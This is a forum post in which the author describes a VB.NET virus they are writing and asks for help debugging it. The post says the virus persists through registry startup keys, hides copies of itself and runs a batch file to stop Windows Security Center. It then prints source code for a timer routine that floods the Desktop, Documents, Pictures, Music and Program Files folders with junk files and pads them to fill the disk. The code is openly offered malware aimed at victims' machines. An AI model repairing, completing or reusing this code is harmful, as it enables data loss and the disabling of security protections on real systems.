VB.NET Virus 04-06-2016, 06:12 PM
#1
I'm currently writing a virus in VB.NET but have run into a few issues
So far, it creates registry keys for startup and copies itself to hidden folders and creates registry keys for those as well.
It also creates a batch file to attempt to stop the Security Center which currently works with xp-win7
However, now I am trying to add a function that will eat up the hard drive. What it does is add tons of empty files (Mp3, exe, txt, and jpg files) and will then constantly add useless data to these files. However it does not seem to be functioning correctly. here's the code.
Does anyone know what the issue may be?
So far, it creates registry keys for startup and copies itself to hidden folders and creates registry keys for those as well.
It also creates a batch file to attempt to stop the Security Center which currently works with xp-win7
However, now I am trying to add a function that will eat up the hard drive. What it does is add tons of empty files (Mp3, exe, txt, and jpg files) and will then constantly add useless data to these files. However it does not seem to be functioning correctly. here's the code.
Does anyone know what the issue may be?
Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim i As Integer = 1
Dim RNA1 As String = "\Virus"
Dim RNA2 As String = ".vbs"
Dim RNA3 As String = ".jpg"
Dim RNA4 As String = ".mp3"
Dim RNA5 As String = ".exe"
Dim DNA1 As String = My.Computer.FileSystem.SpecialDirectories.Desktop
Dim DNA2 As String = My.Computer.FileSystem.SpecialDirectories.MyPictures
Dim DNA3 As String = My.Computer.FileSystem.SpecialDirectories.MyDocuments
Dim DNA4 As String = My.Computer.FileSystem.SpecialDirectories.MyMusic
Dim DNA5 As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim overwrite As Boolean = True
If overwrite Then
While True
On Error Resume Next
If File.Exists(DNA1 & RNA1 & i & RNA2) Then
File.Delete(DNA1 & RNA1 & i & RNA2)
End If
File.Create(DNA1 & RNA1 & i & RNA2)
If File.Exists(DNA2 & RNA1 & i & RNA3) Then
File.Delete(DNA1 & RNA1 & i & RNA3)
End If
File.Create(DNA2 & RNA1 & i & RNA3)
If File.Exists(DNA3 & RNA1 & i & RNA5) Then
File.Delete(DNA3 & RNA1 & i & RNA5)
End If
File.Create(DNA3 & RNA1 & i & RNA5)
If File.Exists(DNA4 & RNA1 & RNA4) Then
File.Delete(DNA4 & RNA1 & i & RNA4)
End If
File.Create(DNA4 & RNA1 & i & RNA4)
If File.Exists(DNA5 & RNA1 & i & RNA2) Then
File.Delete(DNA5 & RNA1 & i & RNA2)
End If
File.Create(DNA5 & RNA1 & i & RNA2)
i += 1
End While
Else
While True
On Error Resume Next
If Not File.Exists(DNA1 & RNA1 & i & RNA2) Then
File.Create(DNA1 & RNA1 & i & RNA2)
End If
If Not File.Exists(DNA5 & RNA1 & i & RNA2) Then
File.Create(DNA5 & RNA1 & i & RNA2)
End If
If File.Exists(DNA2 & RNA1 & i & RNA3) Then
File.Create(DNA2 & RNA1 & i & RNA3)
End If
If Not File.Exists(DNA3 & RNA1 & i & RNA5) Then
File.Create(DNA3 & RNA1 & i & RNA5)
End If
If File.Exists(DNA4 & RNA1 & i & RNA4) Then
File.Create(DNA4 & RNA1 & i & RNA4)
End If
i += 1
End While
End If
On Error Resume Next
Dim file1 = File.OpenWrite(DNA3 & RNA1 & i & RNA5)
Dim siza = file1.Seek(0, SeekOrigin.[End])
Dim size = Convert.ToInt32(20)
Dim bite As Decimal = size * 1048576
On Error Resume Next
While siza < bite
siza += 1
file1.WriteByte(0)
End While
On Error Resume Next
file1.Close()
End Sub
End Class![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: oAqtc2l.png]](https://i.imgur.com/oAqtc2l.png)
![[Image: qcYJ3l.png]](https://i.skull.moe/u/qcYJ3l.png)
